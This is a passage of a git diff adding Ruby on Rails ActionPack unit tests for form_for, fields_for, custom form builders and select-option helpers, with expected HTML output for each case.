+ def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association
+ @post.comments = []
+
+ form_for(@post) do |f|
+ concat f.fields_for(:comments, Comment.new(321), child_index: 'abc') { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' +
+ '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ class FakeAssociationProxy
+ def to_ary
+ [1, 2, 3]
+ end
+ end
+
+ def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association_with_proxy
+ @post.comments = FakeAssociationProxy.new
+
+ form_for(@post) do |f|
+ concat f.fields_for(:comments, Comment.new(321), child_index: 'abc') { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' +
+ '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_index_method_with_existing_records_on_a_nested_attributes_collection_association
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+ form_for(@post) do |f|
+ expected = 0
+ @post.comments.each do |comment|
+ f.fields_for(:comments, comment) { |cf|
+ assert_equal cf.index, expected
+ expected += 1
+ }
+ end
+ end
+ end
+
+ def test_nested_fields_for_index_method_with_existing_and_new_records_on_a_nested_attributes_collection_association
+ @post.comments = [Comment.new(321), Comment.new]
+
+ form_for(@post) do |f|
+ expected = 0
+ @post.comments.each do |comment|
+ f.fields_for(:comments, comment) { |cf|
+ assert_equal cf.index, expected
+ expected += 1
+ }
+ end
+ end
+ end
+
+ def test_nested_fields_for_index_method_with_existing_records_on_a_supplied_nested_attributes_collection
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+ form_for(@post) do |f|
+ expected = 0
+ f.fields_for(:comments, @post.comments) { |cf|
+ assert_equal cf.index, expected
+ expected += 1
+ }
+ end
+ end
+
+ def test_nested_fields_for_index_method_with_child_index_option_override_on_a_nested_attributes_collection_association
+ @post.comments = []
+
+ form_for(@post) do |f|
+ f.fields_for(:comments, Comment.new(321), child_index: 'abc') { |cf|
+ assert_equal cf.index, 'abc'
+ }
+ end
+ end
+
+ def test_nested_fields_uses_unique_indices_for_different_collection_associations
+ @post.comments = [Comment.new(321)]
+ @post.tags = [Tag.new(123), Tag.new(456)]
+ @post.comments[0].relevances = []
+ @post.tags[0].relevances = []
+ @post.tags[1].relevances = []
+
+ form_for(@post) do |f|
+ concat f.fields_for(:comments, @post.comments[0]) { |cf|
+ concat cf.text_field(:name)
+ concat cf.fields_for(:relevances, CommentRelevance.new(314)) { |crf|
+ concat crf.text_field(:value)
+ }
+ }
+ concat f.fields_for(:tags, @post.tags[0]) { |tf|
+ concat tf.text_field(:value)
+ concat tf.fields_for(:relevances, TagRelevance.new(3141)) { |trf|
+ concat trf.text_field(:value)
+ }
+ }
+ concat f.fields_for('tags', @post.tags[1]) { |tf|
+ concat tf.text_field(:value)
+ concat tf.fields_for(:relevances, TagRelevance.new(31415)) { |trf|
+ concat trf.text_field(:value)
+ }
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' +
+ '<input id="post_comments_attributes_0_relevances_attributes_0_value" name="post[comments_attributes][0][relevances_attributes][0][value]" type="text" value="commentrelevance #314" />' +
+ '<input id="post_comments_attributes_0_relevances_attributes_0_id" name="post[comments_attributes][0][relevances_attributes][0][id]" type="hidden" value="314" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
+ '<input id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" type="text" value="tag #123" />' +
+ '<input id="post_tags_attributes_0_relevances_attributes_0_value" name="post[tags_attributes][0][relevances_attributes][0][value]" type="text" value="tagrelevance #3141" />' +
+ '<input id="post_tags_attributes_0_relevances_attributes_0_id" name="post[tags_attributes][0][relevances_attributes][0][id]" type="hidden" value="3141" />' +
+ '<input id="post_tags_attributes_0_id" name="post[tags_attributes][0][id]" type="hidden" value="123" />' +
+ '<input id="post_tags_attributes_1_value" name="post[tags_attributes][1][value]" type="text" value="tag #456" />' +
+ '<input id="post_tags_attributes_1_relevances_attributes_0_value" name="post[tags_attributes][1][relevances_attributes][0][value]" type="text" value="tagrelevance #31415" />' +
+ '<input id="post_tags_attributes_1_relevances_attributes_0_id" name="post[tags_attributes][1][relevances_attributes][0][id]" type="hidden" value="31415" />' +
+ '<input id="post_tags_attributes_1_id" name="post[tags_attributes][1][id]" type="hidden" value="456" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_hash_like_model
+ @author = HashBackedAuthor.new
+
+ form_for(@post) do |f|
+ concat f.fields_for(:author, @author) { |af|
+ concat af.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="hash backed author" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_fields_for
+ output_buffer = fields_for(:post, @post) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected =
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_fields_for_with_index
+ output_buffer = fields_for("post[]", @post) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected =
+ "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" +
+ "<textarea name='post[123][body]' id='post_123_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[123][secret]' type='hidden' value='0' />" +
+ "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_fields_for_with_nil_index_option_override
+ output_buffer = fields_for("post[]", @post, index: nil) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected =
+ "<input name='post[][title]' type='text' id='post__title' value='Hello World' />" +
+ "<textarea name='post[][body]' id='post__body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[][secret]' type='hidden' value='0' />" +
+ "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_fields_for_with_index_option_override
+ output_buffer = fields_for("post[]", @post, index: "abc") do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected =
+ "<input name='post[abc][title]' type='text' id='post_abc_title' value='Hello World' />" +
+ "<textarea name='post[abc][body]' id='post_abc_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[abc][secret]' type='hidden' value='0' />" +
+ "<input name='post[abc][secret]' checked='checked' type='checkbox' id='post_abc_secret' value='1' />"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_fields_for_without_object
+ output_buffer = fields_for(:post) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected =
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_fields_for_with_only_object
+ output_buffer = fields_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected =
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_fields_for_object_with_bracketed_name
+ output_buffer = fields_for("author[post]", @post) do |f|
+ concat f.label(:title)
+ concat f.text_field(:title)
+ end
+
+ assert_dom_equal "<label for=\"author_post_title\">Title</label>" +
+ "<input name='author[post][title]' type='text' id='author_post_title' value='Hello World' />",
+ output_buffer
+ end
+
+ def test_fields_for_object_with_bracketed_name_and_index
+ output_buffer = fields_for("author[post]", @post, index: 1) do |f|
+ concat f.label(:title)
+ concat f.text_field(:title)
+ end
+
+ assert_dom_equal "<label for=\"author_post_1_title\">Title</label>" +
+ "<input name='author[post][1][title]' type='text' id='author_post_1_title' value='Hello World' />",
+ output_buffer
+ end
+
+ def test_form_builder_does_not_have_form_for_method
+ assert !ActionView::Helpers::FormBuilder.instance_methods.include?(:form_for)
+ end
+
+ def test_form_for_and_fields_for
+ form_for(@post, as: :post, html: { id: 'create-post' }) do |post_form|
+ concat post_form.text_field(:title)
+ concat post_form.text_area(:body)
+
+ concat fields_for(:parent_post, @post) { |parent_fields|
+ concat parent_fields.check_box(:secret)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'create-post', 'edit_post', method: 'patch') do
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='parent_post[secret]' type='hidden' value='0' />" +
+ "<input name='parent_post[secret]' checked='checked' type='checkbox' id='parent_post_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_and_fields_for_with_object
+ form_for(@post, as: :post, html: { id: 'create-post' }) do |post_form|
+ concat post_form.text_field(:title)
+ concat post_form.text_area(:body)
+
+ concat post_form.fields_for(@comment) { |comment_fields|
+ concat comment_fields.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'create-post', 'edit_post', method: 'patch') do
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[comment][name]' type='text' id='post_comment_name' value='new comment' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_and_fields_for_with_non_nested_association_and_without_object
+ form_for(@post) do |f|
+ concat f.fields_for(:category) { |c|
+ concat c.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='post[category][name]' type='text' id='post_category_name' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ class LabelledFormBuilder < ActionView::Helpers::FormBuilder
+ (field_helpers - %w(hidden_field)).each do |selector|
+ class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+ def #{selector}(field, *args, &proc)
+ ("<label for='\#{field}'>\#{field.to_s.humanize}:</label> " + super + "<br/>").html_safe
+ end
+ RUBY_EVAL
+ end
+ end
+
+ def test_form_for_with_labelled_builder
+ form_for(@post, builder: LabelledFormBuilder) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" +
+ "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" +
+ "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_default_form_builder
+ old_default_form_builder, ActionView::Base.default_form_builder =
+ ActionView::Base.default_form_builder, LabelledFormBuilder
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" +
+ "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" +
+ "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ ensure
+ ActionView::Base.default_form_builder = old_default_form_builder
+ end
+
+ def test_lazy_loading_default_form_builder
+ old_default_form_builder, ActionView::Base.default_form_builder =
+ ActionView::Base.default_form_builder, "FormHelperTest::LabelledFormBuilder"
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ ensure
+ ActionView::Base.default_form_builder = old_default_form_builder
+ end
+
+ def test_fields_for_with_labelled_builder
+ output_buffer = fields_for(:post, @post, builder: LabelledFormBuilder) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected =
+ "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" +
+ "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" +
+ "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_labelled_builder_with_nested_fields_for_without_options_hash
+ klass = nil
+
+ form_for(@post, builder: LabelledFormBuilder) do |f|
+ f.fields_for(:comments, Comment.new) do |nested_fields|
+ klass = nested_fields.class
+ ''
+ end
+ end
+
+ assert_equal LabelledFormBuilder, klass
+ end
+
+ def test_form_for_with_labelled_builder_with_nested_fields_for_with_options_hash
+ klass = nil
+
+ form_for(@post, builder: LabelledFormBuilder) do |f|
+ f.fields_for(:comments, Comment.new, index: 'foo') do |nested_fields|
+ klass = nested_fields.class
+ ''
+ end
+ end
+
+ assert_equal LabelledFormBuilder, klass
+ end
+
+ def test_form_for_with_labelled_builder_path
+ path = nil
+
+ form_for(@post, builder: LabelledFormBuilder) do |f|
+ path = f.to_partial_path
+ ''
+ end
+
+ assert_equal 'labelled_form', path
+ end
+
+ class LabelledFormBuilderSubclass < LabelledFormBuilder; end
+
+ def test_form_for_with_labelled_builder_with_nested_fields_for_with_custom_builder
+ klass = nil
+
+ form_for(@post, builder: LabelledFormBuilder) do |f|
+ f.fields_for(:comments, Comment.new, builder: LabelledFormBuilderSubclass) do |nested_fields|
+ klass = nested_fields.class
+ ''
+ end
+ end
+
+ assert_equal LabelledFormBuilderSubclass, klass
+ end
+
+ def test_form_for_with_html_options_adds_options_to_form_tag
+ form_for(@post, html: { id: 'some_form', class: 'some_class', multipart: true }) do |f| end
+ expected = whole_form("/posts/123", "some_form", "some_class", method: "patch", multipart: "multipart/form-data")
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_string_url_option
+ form_for(@post, url: 'http://www.otherdomain.com') do |f| end
+
+ assert_equal whole_form("http://www.otherdomain.com", "edit_post_123", "edit_post", method: "patch"), output_buffer
+ end
+
+ def test_form_for_with_hash_url_option
+ form_for(@post, url: { controller: 'controller', action: 'action' }) do |f| end
+
+ assert_equal 'controller', @url_for_options[:controller]
+ assert_equal 'action', @url_for_options[:action]
+ end
+
+ def test_form_for_with_record_url_option
+ form_for(@post, url: @post) do |f| end
+
+ expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
+ assert_equal expected, output_buffer
+ end
+
+ def test_form_for_with_existing_object
+ form_for(@post) do |f| end
+
+ expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
+ assert_equal expected, output_buffer
+ end
+
+ def test_form_for_with_new_object
+ post = Post.new
+ post.persisted = false
+ def post.to_key; nil; end
+
+ form_for(post) do |f| end
+
+ expected = whole_form("/posts", "new_post", "new_post")
+ assert_equal expected, output_buffer
+ end
+
+ def test_form_for_with_existing_object_in_list
+ @comment.save
+ form_for([@post, @comment]) {}
+
+ expected = whole_form(post_comment_path(@post, @comment), "edit_comment_1", "edit_comment", method: "patch")
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_new_object_in_list
+ form_for([@post, @comment]) {}
+
+ expected = whole_form(post_comments_path(@post), "new_comment", "new_comment")
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_existing_object_and_namespace_in_list
+ @comment.save
+ form_for([:admin, @post, @comment]) {}
+
+ expected = whole_form(admin_post_comment_path(@post, @comment), "edit_comment_1", "edit_comment", method: "patch")
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_new_object_and_namespace_in_list
+ form_for([:admin, @post, @comment]) {}
+
+ expected = whole_form(admin_post_comments_path(@post), "new_comment", "new_comment")
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_existing_object_and_custom_url
+ form_for(@post, url: "/super_posts") do |f| end
+
+ expected = whole_form("/super_posts", "edit_post_123", "edit_post", method: "patch")
+ assert_equal expected, output_buffer
+ end
+
+ def test_form_for_with_default_method_as_patch
+ form_for(@post) {}
+ expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_data_attributes
+ form_for(@post, data: { behavior: "stuff" }, remote: true) {}
+ assert_match %r|data-behavior="stuff"|, output_buffer
+ assert_match %r|data-remote="true"|, output_buffer
+ end
+
+ def test_fields_for_returns_block_result
+ output = fields_for(Post.new) { |f| "fields" }
+ assert_equal "fields", output
+ end
+
+ def test_form_builder_block_argument_deprecation
+ builder_class = Class.new(ActionView::Helpers::FormBuilder) do
+ def initialize(object_name, object, template, options, block)
+ super
+ end
+ end
+
+ assert_deprecated(/Giving a block to FormBuilder is deprecated and has no effect anymore/) do
+ builder_class.new(:foo, nil, nil, {}, proc {})
+ end
+ end
+
+ def test_form_for_only_instantiates_builder_once
+ initialization_count = 0
+ builder_class = Class.new(ActionView::Helpers::FormBuilder) do
+ define_method :initialize do |*args|
+ super(*args)
+ initialization_count += 1
+ end
+ end
+
+ form_for(@post, builder: builder_class) { }
+ assert_equal 1, initialization_count, 'form builder instantiated more than once'
+ end
+
+ protected
+
+ def hidden_fields(method = nil)
+ txt = %{<div style="margin:0;padding:0;display:inline">}
+ txt << %{<input name="utf8" type="hidden" value="✓" />}
+ if method && !%w(get post).include?(method.to_s)
+ txt << %{<input name="_method" type="hidden" value="#{method}" />}
+ end
+ txt << %{</div>}
+ end
+
+ def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
+ txt = %{<form accept-charset="UTF-8" action="#{action}"}
+ txt << %{ enctype="multipart/form-data"} if multipart
+ txt << %{ data-remote="true"} if remote
+ txt << %{ class="#{html_class}"} if html_class
+ txt << %{ id="#{id}"} if id
+ method = method.to_s == "get" ? "get" : "post"
+ txt << %{ method="#{method}">}
+ end
+
+ def whole_form(action = "/", id = nil, html_class = nil, options = {})
+ contents = block_given? ? yield : ""
+
+ method, remote, multipart = options.values_at(:method, :remote, :multipart)
+
+ form_text(action, id, html_class, remote, multipart, method) + hidden_fields(method) + contents + "</form>"
+ end
+
+ def protect_against_forgery?
+ false
+ end
+end
diff --git a/actionpack/test/template/form_options_helper_i18n_test.rb b/actionpack/test/template/form_options_helper_i18n_test.rb
new file mode 100644
index 0000000..4972ea6
--- /dev/null
+++ b/actionpack/test/template/form_options_helper_i18n_test.rb
@@ -0,0 +1,27 @@
+require 'abstract_unit'
+
+class FormOptionsHelperI18nTests < ActionView::TestCase
+ tests ActionView::Helpers::FormOptionsHelper
+
+ def setup
+ @prompt_message = 'Select!'
+ I18n.backend.send(:init_translations)
+ I18n.backend.store_translations :en, :helpers => { :select => { :prompt => @prompt_message } }
+ end
+
+ def teardown
+ I18n.backend = I18n::Backend::Simple.new
+ end
+
+ def test_select_with_prompt_true_translates_prompt_message
+ I18n.expects(:translate).with('helpers.select.prompt', { :default => 'Please select' })
+ select('post', 'category', [], :prompt => true)
+ end
+
+ def test_select_with_translated_prompt
+ assert_dom_equal(
+ %Q(<select id="post_category" name="post[category]"><option value="">#{@prompt_message}</option>\n</select>),
+ select('post', 'category', [], :prompt => true)
+ )
+ end
+end
diff --git a/actionpack/test/template/form_options_helper_test.rb b/actionpack/test/template/form_options_helper_test.rb
new file mode 100644
index 0000000..1715902
--- /dev/null
+++ b/actionpack/test/template/form_options_helper_test.rb
@@ -0,0 +1,1304 @@
+require 'abstract_unit'
+require 'tzinfo'
+
+class Map < Hash
+ def category
+ "<mus>"
+ end
+end
+
+TZInfo::Timezone.cattr_reader :loaded_zones
+
+class FormOptionsHelperTest < ActionView::TestCase
+ tests ActionView::Helpers::FormOptionsHelper
+
+ silence_warnings do
+ Post = Struct.new('Post', :title, :author_name, :body, :secret, :written_on, :category, :origin, :allow_comments)
+ Continent = Struct.new('Continent', :continent_name, :countries)
+ Country = Struct.new('Country', :country_id, :country_name)
+ Firm = Struct.new('Firm', :time_zone)
+ Album = Struct.new('Album', :id, :title, :genre)
+ end
+
+ def setup
+ @fake_timezones = %w(A B C D E).map do |id|
+ tz = TZInfo::Timezone.loaded_zones[id] = stub(:name => id, :to_s => id)
+ ActiveSupport::TimeZone.stubs(:[]).with(id).returns(tz)
+ tz
+ end
+ ActiveSupport::TimeZone.stubs(:all).returns(@fake_timezones)
+ end
+
+ def test_collection_options
+ assert_dom_equal(
+ "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title")
+ )
+ end
+
+
+ def test_collection_options_with_preselected_value
+ assert_dom_equal(
+ "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", "Babe")
+ )
+ end
+
+ def test_collection_options_with_preselected_value_array
+ assert_dom_equal(
+ "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", [ "Babe", "Cabe" ])
+ )
+ end
+
+ def test_collection_options_with_proc_for_selected
+ assert_dom_equal(
+ "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", lambda{|p| p.author_name == 'Babe' })
+ )
+ end
+
+ def test_collection_options_with_disabled_value
+ assert_dom_equal(
+ "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => "Babe")
+ )
+ end
+
+ def test_collection_options_with_disabled_array
+ assert_dom_equal(
+ "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => [ "Babe", "Cabe" ])
+ )
+ end
+
+ def test_collection_options_with_preselected_and_disabled_value
+ assert_dom_equal(
+ "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", :selected => "Cabe", :disabled => "Babe")
+ )
+ end
+
+ def test_collection_options_with_proc_for_disabled
+ assert_dom_equal(
+ "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => lambda {|p| %w(Babe Cabe).include?(p.author_name)})
+ )
+ end
+
+ def test_collection_options_with_proc_for_value_method
+ assert_dom_equal(
+ "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, lambda { |p| p.author_name }, "title")
+ )
+ end
+
+ def test_collection_options_with_proc_for_text_method
+ assert_dom_equal(
+ "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", lambda { |p| p.title })
+ )
+ end
+
+ def test_collection_options_with_element_attributes
+ assert_dom_equal(
+ "<option value=\"USA\" class=\"bold\">USA</option>",
+ options_from_collection_for_select([[ "USA", "USA", { :class => 'bold' } ]], :first, :second)
+ )
+ end
+
+ def test_string_options_for_select
+ options = "<option value=\"Denmark\">Denmark</option><option value=\"USA\">USA</option><option value=\"Sweden\">Sweden</option>"
+ assert_dom_equal(
+ options,
+ options_for_select(options)
+ )
+ end
+
+ def test_array_options_for_select
+ assert_dom_equal(
+ "<option value=\"<Denmark>\"><Denmark></option>\n<option value=\"USA\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
+ options_for_select([ "<Denmark>", "USA", "Sweden" ])
+ )
+ end
+
+ def test_array_options_for_select_with_selection
+ assert_dom_equal(
+ "<option value=\"Denmark\">Denmark</option>\n<option value=\"<USA>\" selected=\"selected\"><USA></option>\n<option value=\"Sweden\">Sweden</option>",
+ options_for_select([ "Denmark", "<USA>", "Sweden" ], "<USA>")
+ )
+ end
+
+ def test_array_options_for_select_with_selection_array
+ assert_dom_equal(
+ "<option value=\"Denmark\">Denmark</option>\n<option value=\"<USA>\" selected=\"selected\"><USA></option>\n<option value=\"Sweden\" selected=\"selected\">Sweden</option>",
+ options_for_select([ "Denmark", "<USA>", "Sweden" ], [ "<USA>", "Sweden" ])
+ )
+ end
+
+ def test_array_options_for_select_with_disabled_value
+ assert_dom_equal(
+ "<option value=\"Denmark\">Denmark</option>\n<option value=\"<USA>\" disabled=\"disabled\"><USA></option>\n<option value=\"Sweden\">Sweden</option>",
+ options_for_select([ "Denmark", "<USA>", "Sweden" ], :disabled => "<USA>")
+ )
+ end
+
+ def test_array_options_for_select_with_disabled_array
+ assert_dom_equal(
+ "<option value=\"Denmark\">Denmark</option>\n<option value=\"<USA>\" disabled=\"disabled\"><USA></option>\n<option value=\"Sweden\" disabled=\"disabled\">Sweden</option>",
+ options_for_select([ "Denmark", "<USA>", "Sweden" ], :disabled => ["<USA>", "Sweden"])
+ )
+ end
+
+ def test_array_options_for_select_with_selection_and_disabled_value
+ assert_dom_equal(
+ "<option value=\"Denmark\" selected=\"selected\">Denmark</option>\n<option value=\"<USA>\" disabled=\"disabled\"><USA></option>\n<option value=\"Sweden\">Sweden</option>",
+ options_for_select([ "Denmark", "<USA>", "Sweden" ], :selected => "Denmark", :disabled => "<USA>")
+ )
+ end
+
+ def test_boolean_array_options_for_select_with_selection_and_disabled_value
+ assert_dom_equal(
+ "<option value=\"true\">true</option>\n<option value=\"false\" selected=\"selected\">false</option>",
+ options_for_select([ true, false ], :selected => false, :disabled => nil)
+ )
+ end
+
+ def test_range_options_for_select
+ assert_dom_equal(
+ "<option value=\"1\">1</option>\n<option value=\"2\">2</option>\n<option value=\"3\">3</option>",
+ options_for_select(1..3)
+ )
+ end
+
+ def test_array_options_for_string_include_in_other_string_bug_fix
+ assert_dom_equal(
+ "<option value=\"ruby\">ruby</option>\n<option value=\"rubyonrails\" selected=\"selected\">rubyonrails</option>",
+ options_for_select([ "ruby", "rubyonrails" ], "rubyonrails")
+ )
+ assert_dom_equal(
+ "<option value=\"ruby\" selected=\"selected\">ruby</option>\n<option value=\"rubyonrails\">rubyonrails</option>",
+ options_for_select([ "ruby", "rubyonrails" ], "ruby")
+ )
+ assert_dom_equal(
+ %(<option value="ruby" selected="selected">ruby</option>\n<option value="rubyonrails">rubyonrails</option>\n<option value=""></option>),
+ options_for_select([ "ruby", "rubyonrails", nil ], "ruby")
+ )
+ end
+
+ def test_hash_options_for_select
+ assert_dom_equal(
+ "<option value=\"Dollar\">$</option>\n<option value=\"<Kroner>\"><DKR></option>",
+ options_for_select("$" => "Dollar", "<DKR>" => "<Kroner>").split("\n").join("\n")
+ )
+ assert_dom_equal(
+ "<option value=\"Dollar\" selected=\"selected\">$</option>\n<option value=\"<Kroner>\"><DKR></option>",
+ options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, "Dollar").split("\n").join("\n")
+ )
+ assert_dom_equal(
